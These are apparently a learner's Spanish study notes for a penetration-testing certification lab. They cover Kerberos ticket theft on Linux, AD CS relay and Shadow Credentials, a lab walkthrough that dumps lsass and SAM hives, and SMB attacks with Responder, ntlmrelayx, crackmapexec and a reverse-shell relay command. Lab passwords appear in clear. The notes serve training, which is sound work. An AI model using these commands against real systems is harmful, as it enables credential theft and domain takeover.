Usan el mismo proceso para solicitar TGTs y TGSs pero su almacenamiento puede variar en funcion de la distro
FORMA 1:
Normalmente los almacena en la cache en:
- /tmp
- Variable global: KRB5CCNAME
Un usuario con privs puede acceder a estos
FORMA 2:
Archivos keytab que contiene pares de Kerberos + clave cifrada. Usa este archivo para autenticarse sin ingresar la contraseña, aunque cuando la cambia debe recrear los archivos keytab
Normalmente permite a los scripts autenticarse automaticamente usando Kerberos sin intervencion humana
KEYTAB es la representacion de un ticket kerberos en Linux: /etc/krb5.keytab
Escenario
Tenemos LINUX01 en la red interna que solo es accesible desde MS01
Podemos conectarnos de 2 formas:
FORMA 1:
- Nos conectamos a MS01 mediante RDP:
xfreerdp3 /u:USER /p:PASS /v:IP
- Nos conectamos a LINUX01 desde MS01 mediante SSH:
ssh USER@DOMAIN@IP
FORMA 2 (PORT FORWARDING):
-
En MS01 creamos un reenvio de puertos (ejemplo del 2222 (MS01) –> 22 (LINUX01))
-
Desde kali ejecutamos SSH hacia el puerto 2222 (MS01) que se reenviara al 22 (LINUX):
ssh USER@DOMAIN@IP -p 2222
Identificacion de que Linux pertenece a un dominio AD
realm, sssd o winbind
realm: es una herramienta que se usa para administrar la inscripcion a sistema del dominio
realm list
Vemos que usa Kerberos, el dominio es inlanefreight.htb y los usuarios y grupos que pueden iniciar sesion en esta maquina
![[Pasted image 20260614131410.png]]
ps -ef | grep -i "winbind\|sssd"
![[Pasted image 20260614131620.png]]
Encontrar Tickets Kerberos
- Buscar archivos con la expresion Keytab
find / -name *keytab* -ls 2>/dev/null
![[Pasted image 20260614150558.png]]
- Si el archivo Keytab no tiene la extension .keytab pero encontramos un script en crontab que se refiere a comunicacion Kerberos, dentro del archivo podremos encontrar una refencia a un archivo keytab
crontab -l
![[Pasted image 20260614150906.png]]![[Pasted image 20260614150919.png]]
En este ejemplo encontramo el usuario [email protected] y que se esta usando kinit (un comando que permite la interaccion con kerberos)
Encontrar archivos en cache
env | grep -i krb5
![[Pasted image 20260614151310.png]]
– Archivo cchache:
Los archivos cache se encuentran normalmente en /tmp. Podemos buscar usuarios que hayan inciado sesion en la maquina y si obtenemos acceso como root podemos hacernos pasar por ellos usando su archivo ccache
ls -la /tmp
![[Pasted image 20260614151536.png]]
Abuso de archivos Keytab
- Descubrir para que usuario fue creado el archivo con klist (lee la informacion de un keytab):
![[Pasted image 20260614152028.png]]
- Sabiendo que es de Carlos vamos a averiguar que ticket estamos usando actualmente y tras esto nos hacemos pasasr por Carlos con kinit
klist
kinit USER@DOMAIN -k -t
klist
![[Pasted image 20260614152340.png]]
- Accedemos a una carpeta compartida que puede acceder Carlos
smbclient //DC01/carlos -k -c ls
-k: usa autenticacion kerberos
-c ls: ejecutar un comando
![[Pasted image 20260614152423.png]]
Otro metodo es extraer los secretos del Keytab. Con la tecnica de antes pudimos acceder a un recurso compartido en el dominio pero si queremos acceder a la cuenta de Carlos necesitaremos su contraseña
KeyTabExtract: herramienta para extraer informacion de archivos .keytab
python3 /opt/keytabexetract.py /RUTA/ARCHIVO.keytab
![[Pasted image 20260614152958.png]]
- NTLM: descifrar o PtH
- AES256 o AES128: falsificar nuestros tickets usando Rubeus o MImikatz o descifrar
Para descifrar: Hashcat, JtR o https://crackstation.net/,
![[Pasted image 20260614153154.png]]
Inicio de sesion como Carlos una vez sabemos su contraseña:
![[Pasted image 20260614153234.png]]
Nos acordamos de svc_workstations.kt (podemos repetir el proceso para encontrar sus credenciales)
Abuso de Ccache
Necesitamos privs de lectura en /tmp (estos archivos ccache solo pueden ser leidos por el usuario creador o root)
- Nos conectamos como svc_workstations y hacemos sudo -l para saber si podemos ejecutar todo como root. Hacemos sudo su para ejecutar como root
![[Pasted image 20260614153611.png]]
Identificacion de archivos ccache
- Identificacion de los archivos ccache
ls -la /tmp
![[Pasted image 20260614153700.png]]
Esta el usuario julio al que todavia no hemos tenido acceso
id julio@DOMAIN
![[Pasted image 20260614153741.png]]
Es miembro de Domains Admin por lo que podremos tencer acceso a DC01
- Copiamos el archivo ccache y asignar a KRB5CCNAME:
klist
cp /tmp/ARCHIVO_DE_JULIO .
KRB5CCNAME=/ARCHIVO_DE_JULIO
klist
smbclient //dc01/C$ -k -c ls --no-pass
![[Pasted image 20260614154040.png]]
Uso de herramientas de ataque Linux Kerberos
Para esto hay que tener en cuenta desde que maquina se esta usando la herramienta:
- Desde un host unido al dominio: asegurarse de que el
KRB5CCNAME esta configurado con el archivo ccache que queremos usar
- Desde un host no unido al dominio (host atacante): asegurarnos de que se puede comunicar con el KDC y que la resolucion del nombre del dominio esta funcionando
Establecer conexion desde host de ataque hacia KDC
En este caso desde nuestro host de ataque no hay comunicacion con el KDC por lo que habra que hacer un proxy con Chisel y Proxychains a traves de MS01 + editar /etc/hosts
- Modificar /etc/hosts
sudo nano /etc/hosts
![[Pasted image 20260614155228.png]]
- Modificar /etc/proxychains.conf
sudo nano /etc/proxychains.conf
![[Pasted image 20260614155350.png]]
- Descargar chisel en host de ataque y establecer tunel
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisell && chmod +x ./chisel
sudo ./chisel server --reverse
![[Pasted image 20260614155529.png]]
- Conectarse a traves de MS01
xfreerdp3 /u:USER /p:PASS /v:IP
C:\Tools\chisel.exe client IP:8080 R:socks
![[Pasted image 20260614155658.png]]![[Pasted image 20260614155703.png]]
- Transferir el archivo ccache de Julios hacia el host de ataque desde LINUX01(Transferencias de archivos) y establecer en nuestro host KRB5CCAME:
export KRB5CCNAME=/ARCHIVO_DE_JULIO
![[Pasted image 20260614155941.png]]
Impacket
proxychains impacket-wmiexec dc01 -k
![[Pasted image 20260614201832.png]]
Evil-WinRM
- Instalar Kerberos
sudo apt-get install krb5-user -y
> DOMINIO
> NOMBRE_KDC01
o modificar /etc/krb5.conf si esta ya instalado:
![[Pasted image 20260614202105.png]]
- Uso de wvil-winrm
proxychains evil-winrm -i IP_KDC/NOMBRE_KDC -r DOMAIN
![[Pasted image 20260614202207.png]]
Otras herramientas
Si queremos usar el ccache file hay que convertirlo a .kirbi. Podemos usar impacket-ticketConverter para convertirlos
- Convertir ccache a .kirbi
impacket-ticketConverter ARCHIVO_JULIO NOMBRE.kirbi
![[Pasted image 20260614202545.png]]
Para pasar de .kirbi a CCache se pone primero el .kirbi y luego el NOMBRE_ARCHIVO
- Transferir a host Windows y usar Rubeus con el .kirbi
Rubeus.exe ptt /ticket:ARCHIVO.kirbi
![[Pasted image 20260614202758.png]]![[Pasted image 20260614202804.png]]
Linikatz
Linikatz: herramienta que permite explotar credenciales en maquinas Linux que estan integradas en AD
Al igual que MImikatz necesita ser root de la maquina y extrae todas las credenciales, tickets Kerberos… y las coloca en una carpeta que empieza con “linikatz*”. Aqui encontraras credenciales de formatos diferentes (tambien ccache y keytab)
- Instalacion
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
- Uso
/opt/linikatz.sh
![[Pasted image 20260614203120.png]]
Ejemplo practico
- Conectarnos mediante SSH por el puerto 2222 y obtener la bandera en /home/david
![[Pasted image 20260614203507.png]]
- Que grupo puede conectarse a LINUX01
![[Pasted image 20260614203643.png]]
- Busca un archivo keytab al que puedas leer y escribir y devuelve el nombre
![[Pasted image 20260614203903.png]]
- Extrae los hashes del keytab, descifra la credencial y loggeate para obtener la flag
- Descargamos KeyTabExtract y lo pasamos al host objetivo
![[Pasted image 20260614204312.png]]![[Pasted image 20260614204318.png]]!
- Lo usamos para extraer hashes
![[Pasted image 20260614204721.png]]
![[Pasted image 20260614204602.png]]
- Mira el crontab de carlos para ver a que keytabs tiene acceso. Obten el credencial del usuario svc_workstations y usalo para autenticarte a traves de ssh
- Buscamos en crontab y vemos uno que es un script de kerberos. Al leerlo encontramos el .kt de svc_workstations y su localizacion
![[Pasted image 20260614205033.png]]
Si listamos la ruta encontraremos el _all que nos intersa mas
![[Pasted image 20260614212012.png]]
![[Pasted image 20260614205130.png]]
![[Pasted image 20260614212108.png]]
![[Pasted image 20260614212123.png]]
![[Pasted image 20260614212210.png]]
- Escalar prvis mirando los sudo privs
![[Pasted image 20260614212329.png]]
- Miramos en /tmp y encontrar el ticket Kerberos de Julio. Importalo y lee \\DC01\julio\julio.txt
![[Pasted image 20260614213414.png]]![[Pasted image 20260614213429.png]]
- Usar el ticket LINUS01$ para obtener la flag
![[Pasted image 20260614214231.png]]
![[Pasted image 20260614214307.png]]
![[Pasted image 20260614214557.png]]
![[Pasted image 20260614214947.png]]
Para el que piden pasar el archivo ccache de julio al kali y crear un proxy desde ms01 hacia dc01:
- Pasar el ccache de Julio de Linux01 a kali
- Modificar y crear proxychains junto con /etc/hosts para que encuentre a MS01
- Movel Chisel a MS01 y ejecutarlo para que se comunique con DC01y kali (a MS01 nos conectamos via RDP)
- Usar proxychains desde kali para loggearnos con evilwinrm en DC01 a traves de MS01
Para el otro:
- Convertir el ccache de Julio en .kirbi
- Pasarlo a MS01
- Usar Rubeus
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 6. Tecnicas De Movimiento Lateral Windows
4. Pass The Certificate (ptc)
PKINIT es una extension del protocolo Kerberos que permite autenticarse en el KDC usando un certificado digital y su clave privada en vez de una contraseña
Ataque de retransmision AD CS NTLM (ESC8)
ESC8: es un ataque de retransmision NTLM dirigido a un punto final HTTP ADCS. ADCS permite multiples metodos de inscripcion que de forma predeterminada ocurre a traves de HTTP
- Verificar con certypy el template que hay que poner
certipy find -u 'USER' -p 'PASS' -target IP_CA -vulnerable
- Usar netlrelayx para escuchar conexiones:
ntlmrelayx de Impacket: es un herramienta que se puede usar para escuchar conexiones entrantes y transmitirlas al servicio de inscripcion web:
impacket-ntlmrelayx -t http://IP/certsrv/certfinsh.asp --adcs -smb2support --template KerberosAuthentication
- Esperar a que un usuario se autentique en la maquina de forma aleatoria o se obliga a hacerlo
Forma de forzar a hacerlo: con printerbug.py. Se requiere que el objetivo tenga el servicio Printer Spooler en ejecucion
Con lo siguiente se obliga a DC01 a que se autentique en la Kali:
python3 printerbug.py DOMAIN/wwhite:"package5shores_topher1"@IP_DC IP_Kali
![[Pasted image 20260614225130.png]]
- Volvemos a ntlmrelayx y vemos que el resultado de la solicitud de autenticacion se transmitio correctamente a la aplicacion de inscripcion web y se emitio un certificado para DC01$:
![[Pasted image 20260614225245.png]]
- Hacemos el PtC para obtener el TGT de DC01$ con gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git && cd PKINITtools
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
* Si hay algun error (Error detecting the version of libcrypto) ejecutamos lo siguiente:
pip3 install -I git+https://github.com/wbond/oscrypto.git
Ahora hacemos el PtC:
python3 gettgtpkinit.py -cert-pfx ../krbrelayx/DC01\$.pfx -dc-ip IP_DC 'DOMAIN/CUENTA$' /tmp/dc.ccache
![[Pasted image 20260614225603.png]]
- Una vez obtenido el TGT volvemos a hacer un PtT:
export KRB5CCNAME=/tmp/dc.ccache
klist
- Como tenemos la cuenta maquina del DC01 podemos hacer un DCSync para recuperar los hashes NTLM y obtener el del administrador del dominio
impacket-secretsdump -k -no-pass -dc-ip IP_DC -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
![[Pasted image 20260614225806.png]]
Shadow Credentials
Shadow Credentials: es un ataque de AD que abusa del atributo msDS-KeyCredentialLink de un usuario. Este almacena claves publicas que pueden usarse en la autenticacion PKINIT
En BloodHound el “AddKeyCrentialLink” indica que se tienen permisos de escritura sobre el atributo “msDS-KeyCredentialLink” de otro usuario que permite obtner el control del usuario
![[Pasted image 20260614230102.png]]
- Una vez sabiendo esto podemos usar pywhisker para realizar el ataque desde Linux. El siguiente comando genera un atributo y lo escribe en el usuario victima
pywhisker --dc-ip IP_DC -d INLANEFREIGHT.LOCAL -u wwhite -p 'PASSWORD' --target jpinkman --action add
![[Pasted image 20260614230315.png]]
- Del resultado anterior podemso ver que se creo un archivo PFX (eFUVVTPf.pfx) y se muestra la contraseña. Usamos gettgtpkinit.py para adquirir el TGT de la victima
python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'PASS_SALIDA_ANTERIOR' -dc-ip IP_DC INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
![[Pasted image 20260614230503.png]]
- Con el TGT lo usamos para PtT:
export KRB5CCNAME=/tmp/jpinkman.ccache
klist
![[Pasted image 20260614230558.png]]
- Desde bloodhound se pudo ver que pertenece a Remote Management Users por lo que nos conectamos via WinRm
(asegurarse de que /etc/krb5.conf esta configurado correctamente)
sudo apt-get install krb5-user -y
> DOMINIO
> NOMBRE_KDC01
- o modificar /etc/krb5.conf si esta ya instalado:
![[Pasted image 20260614202105.png]]
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
![[Pasted image 20260614230843.png]]
NO HAY PKINIT
Puede pasar que tras conseguir el certificado no podamos usarlo contra ciertas victimas como una cuenta maquina controladora de dominio debido a que KDC no adminite EKU adecuada. Podemos usar PassTheCert que fue creada para estas situaciones
Se usa para autenticarse con LDAPS mediante un certificado usando varios ataques
Ejemplo practico
- Contenido de flag.txt en el escritorio de jpinkman
Clonamos desde git pywhisker e instalamos dependencias
![[Pasted image 20260615001148.png]]
![[Pasted image 20260615001158.png]]
![[Pasted image 20260615002543.png]]
![[Pasted image 20260615002553.png]]
![[Pasted image 20260615002714.png]]
- Contenido de flag.txt en el escritorio de Administrator
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 7. Skills Assessment
1. Skills Assessment
El metodo de Credential Theft Shuffle es un enfoque que se usa para comprometer entornos AD mediante el robo de credenciales. Se suele comenzar con credenciales obtenidas de un phising y se sigue con la obtencion de privilegios de administrador local
Tras esto se usan herramientas como MImikatz para extraer mas credenciales y moverse lateralmente con PtH o Netexec. El objetivo es ganar control del dominio normalmente comprometiendo cuentas de administrador o realizando DCSync
Escenario
Betty Jayde trabaja en Nexura LLC y su contraseña es “Texas123!@#”
Nos infiltramos en la red Nexuta y obtengamos ejecucion de comando en el controlador de dominio
Maquinas:
| Maquina |
Direccion IP |
| DMZ01 |
172.16.119 (EXTERNA) 172.16.119.13 (INTERNA) |
| JUMP01 |
172.16.119.7 |
| FILE01 |
172.16.119.10 |
| DC01 |
172.16.119.11 |
A los hosts internos no podemos acceder desde nuestro host de ataque hay que hacerlo mediante pivoting (proxychains + chisel) a traves de DMZ01 que tiene doble interfaz
Ejercicio practico
Con el nombre dado de Betty Jayde creamos una lista de variaciones de posibles nombres de usuario:
![[Pasted image 20260615173814.png]]![[Pasted image 20260615173821.png]]![[Pasted image 20260615173828.png]]
Revisamos los servicios expuestos para tratar de hacer fuerza bruta de nombre de usuario y usar la password que nos dieron:
![[Pasted image 20260615174558.png]]![[Pasted image 20260615174609.png]]
| Usuario |
Pass |
Maquina |
| jbetty |
Texas123!@# |
DMZ01 |
Tras conseguir el username y la contraseña que ya teniamos nos loggeamos mediante ssh en el destino
![[Pasted image 20260615174715.png]]
Lo primero que hago es mirar los histories y encontramos un usuario y contraseña que se autentican en FILE01:
![[Pasted image 20260615180511.png]]
| User |
Pass |
Maquina |
| hwilliam |
dealer-screwed-gym1 |
FILE01 172.16.119.10 |
Como FILE01 no es accesible desde Kali creamos un proxy haciendo un tunnel desde SSH hacia la red interna
![[Pasted image 20260615182247.png]]![[Pasted image 20260615182301.png]]![[Pasted image 20260615182312.png]]
Una vez creado realizamos un escaneo de servicios de FILE01 para ver como nos podemos autenticar o que podemos hacer
![[Pasted image 20260615182322.png]]![[Pasted image 20260615182340.png]]
Vimos que tenia el SMB abierto por lo listamos y entramos en HR. Alli vemos un archivo de contraseñas antiguas que esta encodeado
![[Pasted image 20260615182353.png]]
Es un archiov psafe, podemos usar una herramienta de 2john para descifrar la credencial que lo cifra;
![[Pasted image 20260615182829.png]]![[Pasted image 20260615182840.png]]![[Pasted image 20260615182854.png]]
| PASS |
ARCHIVO |
USO |
| michaeljackson |
Employee-Passwords_OLD |
Para el archivo .psafe3 |
| Tras encontrar la PASS del archiov descargamos una herramienta que nos permita abrirlo |
|
|
![[Pasted image 20260615183507.png]]![[Pasted image 20260615183618.png]]
Dentro encontramos varios usuarios de dominio y sus contraseñas antiguaas
![[Pasted image 20260615183635.png]]
![[Pasted image 20260615183742.png]]
![[Pasted image 20260615183756.png]]
| DomainUser |
Pass |
| bdavid |
caramel-cigars-reply1 |
| stom |
fails-nibble-disturb4 |
| hwilliam |
warned-wobble-occur8 |
| Al tratar de usarlas contra FILE01 vimos que ninguna tuvo resultado |
|
![[Pasted image 20260615184637.png]]![[Pasted image 20260615184644.png]]
Escaneamos JUMP01 para ver que servicios tiene activos y vemos un RDP
![[Pasted image 20260615185350.png]]
Probamos las contraseñas antiguas contra este host y vemos que bdavid funciona seguramente porque aun no las haya actualizado:
![[Pasted image 20260615185859.png]]
![[Pasted image 20260615222033.png]]
Dentro abrimos una cmd como admin y vemos que estamos dentro del grupo de Administrators:
![[Pasted image 20260615221714.png]]
Desde aqui podemos dumpear los registry hives y pasarnoslos a la kali para dumpearlos
![[Pasted image 20260615222021.png]]
![[Pasted image 20260615222139.png]]
![[Pasted image 20260615222212.png]]
![[Pasted image 20260615222234.png]]
Al dumpearlos ya conseguimos el hash del Administrator que nos pedian pero vamos a seguir avanzando
![[Pasted image 20260615222258.png]]
No se pueden descifrar los hashes por wordlist
![[Pasted image 20260615222413.png]]
Encontramos dentro de JUMP01 algunos archivos .pcap que abrimos en WireShark pero no habia nada util dentro
![[Pasted image 20260615222115.png]]![[Pasted image 20260615222543.png]]![[Pasted image 20260615222453.png]]![[Pasted image 20260615222607.png]]
Probamos a dumpear el lsass.exe y pasarlo a nuestro kali para obtener los hashes
![[Pasted image 20260615222943.png]]![[Pasted image 20260615223040.png]]![[Pasted image 20260615223408.png]]![[Pasted image 20260615223549.png]]![[Pasted image 20260615223606.png]]
Encontramos obviamente los mismos hashes de antes pero de otra forma y no se pueden descifrar como antes
Vamos a tratar con mimikatz de sacar credenciales en texto limpio. Dentro encontramos la de stom acutalizada
![[Pasted image 20260615225109.png]]
![[Pasted image 20260615225136.png]]![[Pasted image 20260615225157.png]]![[Pasted image 20260615225302.png]]![[Pasted image 20260615225415.png]]
| User |
Pass |
Maquina |
| stom |
calves-warp-learning1 |
DC01 172.16.119.11 |
Una vez que tenemos las de stom tratamos de autenticarnos en DC01
![[Pasted image 20260615225618.png]]
Abrimos un cmd como admin porque tenemos privs y tratamos de conseguir el hash de Adminsitrator del DC (Es otro hash del anterior pero es para escalar aun mas privs y hacer mas tecnicas)
Dentro del cmd copiamos los registry hives, nos los pasamos y los dumpeamos
![[Pasted image 20260615225856.png]]![[Pasted image 20260615225929.png]]![[Pasted image 20260615230107.png]]
Conseguimos el hash de adminsitrator de DC01 el cual no se puede descifrar
![[Pasted image 20260615230143.png]]
Tratamos de hacer un PtH mediante mimikatz y abrir una cmd que tenga las credenciales de Administrator
![[Pasted image 20260615230437.png]]![[Pasted image 20260615230501.png]]![[Pasted image 20260615230739.png]]
Aunque ponga stom (el cual es el user local que no cambia debido a que es el contexto de la sesion interactiva) esta nueva cmd tendra los tickets-credenciales de Administrator y podremos actuar como el con los servicios del entorno
Aunque whoami siga mostrando stom (porque el proceso sigue ejecutándose dentro de la sesión interactiva de ese usuario), la nueva consola creada mediante sekurlsa::pth tiene cargadas las credenciales de Administrator en los proveedores de autenticación (NTLM/Kerberos). Por ello, las conexiones de red iniciadas desde esa consola podrán autenticarse como Administrator, permitiéndonos actuar con sus privilegios frente a los servicios del entorno (SMB, WinRM, WMI, LDAP, etc.), aunque localmente el contexto de la sesión continúe siendo el de stom.
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 1. Malas Configuraciones
1. Malas Configuraciones A Mirar
- Credenciales default
![[Pasted image 20260622103234.png]]
-
Autenticacion anonima
-
Derechos de acceso mal configurados (por ejemplo poder leer todo un FTP)
-
10 principales de OWASP
- Se instalan funciones innecesarias (puertos, servicios, paginas…)
- Cuentas predeterminadas y contraseñas aun habilitadas sin cambios
- Manejo de errores deja informacion
- Las soluciones de seguridad estan deshabilitadas o no estan configuradas de forma segura
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 1. Malas Configuraciones
2. Encontrar Informacion Confidencial
SITUACION
Al entrar en FTP vemos un archivo vacio con propiedad del usuario jonsmith (YA TENEMOS USUARIO)
Probamos johnsimith como USER y PASS en FTP pero nada
Lo probamos en el correo electronico y estamos dentro
AL buscar en el correo electronico correos que tengan la palabras pass encontramos uno que contiene la contraseña del usuario para el servicio MSSQL
Accedemos y por xp_cmdshell podemos ejecutar comnados RCE
La información confidencial puede incluir, entre otras:
- Nombres de usuario.
- Direcciones de correo electrónico.
- Contraseñas.
- Registros DNS.
- Direcciones IP.
- Código fuente.
- Archivos de configuración.
- PII.
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 2. SMB
1. SMB
Usado para carpetas compartidas en red
Interactuar en Windows
A traves de GUI
- GUI
WIN + R
- Introduccimos la ubicacion del recurso compartido
\\IP\ShareName
![[Pasted image 20260621173005.png]]
Si tenemos permisos sobre la carpeta compartida o se puede usar autenticacion anonima:
![[Pasted image 20260621173053.png]]
Si no tenemos acceso:
![[Pasted image 20260621173110.png]]
A traves de CMD
- Listar el recurso compartido
dir \\IP\ShareName
![[Pasted image 20260621173209.png]]
- Conectarnos al recurso compartido
SIN CONTRASEÑA:
net use n: \\IP\ShareName
![[Pasted image 20260621173312.png]]
CON CONTRASEÑA:
net use n: \\IP\ShareName /user:USER PASS
![[Pasted image 20260621173417.png]]
Con la carpeta compartida asiganada como n: podemos ejecutar comandos
dir n:
- Buscar nombres especificos:
dir n:\*cred* /s /b
![[Pasted image 20260621173746.png]]
o
findstr /s /i cred n:\*.*
![[Pasted image 20260621173833.png]]
PowerShell de Windows
- Listar el recurso compartido
Get-ChildItem \\IP\ShareName
![[Pasted image 20260621174033.png]]
- Conectarnos al recurso compartido
SIN CONTRASEÑA:
New-PSDrive -Name "N" -Root "\\IP\ShareName" -PSProvider
![[Pasted image 20260621174207.png]]
CON CONTRASEÑA:
$username = 'USER'
$password = 'PASS'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username,$secpassword
New-PSDrive -Name "N" -Root "\\IP\ShareName" -PSProvider "FileSystem" -Credential $cred
![[Pasted image 20260621174619.png]]
- Buscar nombres especificos:
Get-CHildItem -Recurse -Path N:\ -include *cred* -File
![[Pasted image 20260621174819.png]]
o
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
![[Pasted image 20260621174920.png]]
Linux
sudo apt install cifs-utils
- Montar
sudo mkdir /mnt/ShareName
sudo mount -t cifs -o username=USER,password=PASS,domain=DOMAIN/. //IP/ShareName /mnt/ShareName
Alternativa:
mount -t cifs //IP/ShareName /mnt/ShareName -o credentials=/UTA/ARCHIVO_CREDENCIALES
ARCHIVO CREDENCIAKES:
username=USER
password=PASS
doamain=DOMAIN/.
![[Pasted image 20260622094838.png]]
Buscar: nombre de archivos
find /mnt/ShareName -name *cred*
![[Pasted image 20260622094848.png]]
Buscar contenido de archivos
grep -rn /mnt/ShareName -ie cred
![[Pasted image 20260622094856.png]]
Herramientas
![[Pasted image 20260622102256.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 2. SMB
2. Atacando SMB
Puerto NetBIOS 139 TCP y 137/138 UDP
Puerto SMB 445 TCP
Enumeracion
sudo nmap -sS -Pn -sVC -p129,445 --min-rate 5000 IP
![[Pasted image 20260624130044.png]]
Vemos la version de Samba 4.6.2
Nombre del host
Sistema operativo basado en Linux
Configuraciones incorrectas
Autenticacion anonima
Podremos listar lo recursos compartidos, nombres de usuario, grupos, permisos…
Herramientas: smbclient, smbmap, rpcclient o enum4linux
- Listar recursos anonimamente con smbclient
smbclient -N -L //IP
![[Pasted image 20260624130320.png]]
- Listar recursos y permisos anonimamente con smbmap
smbmap -H IP
![[Pasted image 20260624130344.png]]
- Listar archivos de los recursos recursivamente
![[Pasted image 20260624130514.png]]
- Con permisos READ/WRITE se pueden usar para cargar y descargar archivos
smbmap -H IP --download "RECURSO\ARCHIVO"
smbmap -H IP --upload ARCHIVO "RECURSO\ARCHIVO"
Llamada a procedimiento remoto RPC
rpcclient permite enumerar la workstation o un controlador de dominio
hoja de trucos del Instituto SANS
rpcclient -U'%' IP
![[Pasted image 20260624131002.png]]
enum4linux permite automatizar algunas enumeraciones comunes:
- Nombre del grupo de trabajo/dominio
- Informacion del sistema operativo
- Informacion de usuarios
- Informacion de grupos
- Carpetas de acciones
- Informacion sobre la politica de contraseñas
./enum4linux.py IP -A -C
![[Pasted image 20260624131220.png]]![[Pasted image 20260624131228.png]]
Ataques especificos
Password Spray
CrackMapExec
- Crear el archivo de usuarios
![[Pasted image 20260624131509.png]]
- Usar crackmapexec
crackmapexec smb IP -u /ARCHIVO -p 'PASS'
–continue-on-success: para que la herramienta siga aunque haya encontrado una coincidencia
–local-auth: para cuando apuntemos a una maquina que no esta unida a un dominio
![[Pasted image 20260624131554.png]]
Ejecucion remota de codigo RCE
Con privs Administrator o especificos
PsExec: es una herramienta que nos permite ejecutar procesos de forma interactiva desde consola en otra maquina. Podemos descargarla o usar Impacket
Impacket PsExec
impacket-psexec USER:'PASS'@IP
![[Pasted image 20260624132134.png]]
Crackmapexec
crackmapexec smb IP -u USER -p PASS -x 'COMANDO' --exec-method smbexec
![[Pasted image 20260624132227.png]]
- Enumeracion de usuarios con crackmapexec
crackmapexec smb IP_RED/mascara -u USER -p 'PASS' --loggedon-users
![[Pasted image 20260624132352.png]]
- Extraer hashes de bases de datos SAM
crackmapexec smb IP -u UER -p PASS --sam
![[Pasted image 20260624132449.png]]
crackmapexec smb IP -u USER -K HASH
![[Pasted image 20260624132528.png]]
Ataques de autenticacion forzada
Podemos crear un servidor SMB falso para capturar hashes NTLM de los usuarios
Responder: en su modo default capturara trafico LLMNR y NBT-NS, respondera en nombre de los servidores que estan buscando esos usuarios y robara los hashes NTLM
responder -I INTERFACE
La herramienta se aprovecha de la Resolucion de Nombres:
- Se requiere la direccion IP del archivo comparitdo
- Verifica el archivo en el host (/etc/hosts)
- Si no lo encuentra la maquina cambia a cache DNS local
- Si no hay registros en DNS en cache se hace una consulta al servidor DNS configurado
- Si todo falla se hace una consulta multidifusion solicitando la IP del archivo compartido
Responder aprovecha esta multidifusion que se suele dar si se escribe mal el nombre del archivo compartido ya que no puede encontrarlo para responder en nombre del servidor y capturar los NTLM
![[Pasted image 20260624133543.png]]![[Pasted image 20260624133550.png]]
hashcat -m 5600 ARCHIVO /WORDLIST
![[Pasted image 20260624133641.png]]
Sino se puede descrifrar el hash
Podemos enviar el hash capturado a otra maquina usando impacket-ntlmrelayx
Lo que hace es ponerse en medio para recibir una autenticación NTLM de una víctima y reenviarla contra otro servicio, normalmente SMB, LDAP, HTTP, etc. Con esto podemos recuperar NTLMs o tras la autenticacion ejecutar comandos
Primero obtenemos el hash
- Configuramos MSB en OFF en nuestro archivo de configuracion de Responder
cat /etc/responder/Responder.conf
![[Pasted image 20260624135317.png]]
- Ejecutamos ntlmrelayx con la opcion de –no-http-server, -smb2support y -t IP_MAQUINA_DESTINO
impacket-ntlmrelayx --no-http-server -smb2support -t IP_MAQUINA_OBJETIVO
![[Pasted image 20260624135543.png]]
- Podemos usar esto mismo para ejecutar un comando en el host destino
nc -lvnp 9001
![[Pasted image 20260624141227.png]]
impacket-ntlmrelayx --no-http-server -smb2support -t IP -c 'powershell -e BASE64'
Ejemplo practico
- Enumeramos el host destino
![[Pasted image 20260625100624.png]]
- Listamos los recursos e intentamos obtener el archivo
![[Pasted image 20260625100908.png]]
- No tenemos privs. Enumeramos usuarios y obtenemos jason y robin. Podriamos hacer fuerza bruta de ambos pero sabemos que nos piden jason (usamos el recurso que tenemos en htb)
![[Pasted image 20260625101104.png]]
![[Pasted image 20260625101156.png]]
![[Pasted image 20260625101612.png]]![[Pasted image 20260625101642.png]]
Es un usuario local
![[Pasted image 20260625101807.png]]
- Nos conectamos a SMB con las credenciales y obtenemos el id_rsa
![[Pasted image 20260625102309.png]]
- Nos conectamos via ssh
![[Pasted image 20260625102323.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 2. SMB
3. Ultimas Vulns De SMB
SMBGhost - CVE-2020-0796: consiste en una compresion de las versiones 1903 y 1909 de Windows 10 que lo hacian vuln a usuarios no autenticados y obtener RCE
Se trata de una vuln de desboradamiento de enteros en funcion de un controlador SMB que puede sobreescribir comandos del sistema mientras se accede a memoria
Se genera en CPU un numero de enteros mayor que el requerido para el espacio asignado. Si escribimos un numero de datos mayor al establecido en los enteros, esta info extra se escribira en el buffer provocando sobreescritura de las instrucciones posteriores de la CPU e interrumpiendo la ejecucion normal de los procesos
- Cliente manda una solicitud manipulada por el atacante al servidor SMB
- Los paquetes comprimidos enviados se procesan segun el protocolo negociado
- El proceso necesita privs de sistema o privs de administrador
- Como destino se usa el proceso local que debe procesar los paquetes comprimidos
- Se usan los datos del proceso anterior
- El desbordamiento de enteros produce el reemplazando el bufer sobrescrito con las intruccion del atacante obligando a la CPU a ejecutar esas instrucciones
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 3. Correos Electronico
1. SMTP + Imap O POP3
SMTP es el servicio basico de entrega de mensajes de correo
IMAP o POP3 son protocolos que sirven para recuperar un correo electronico de un servicio
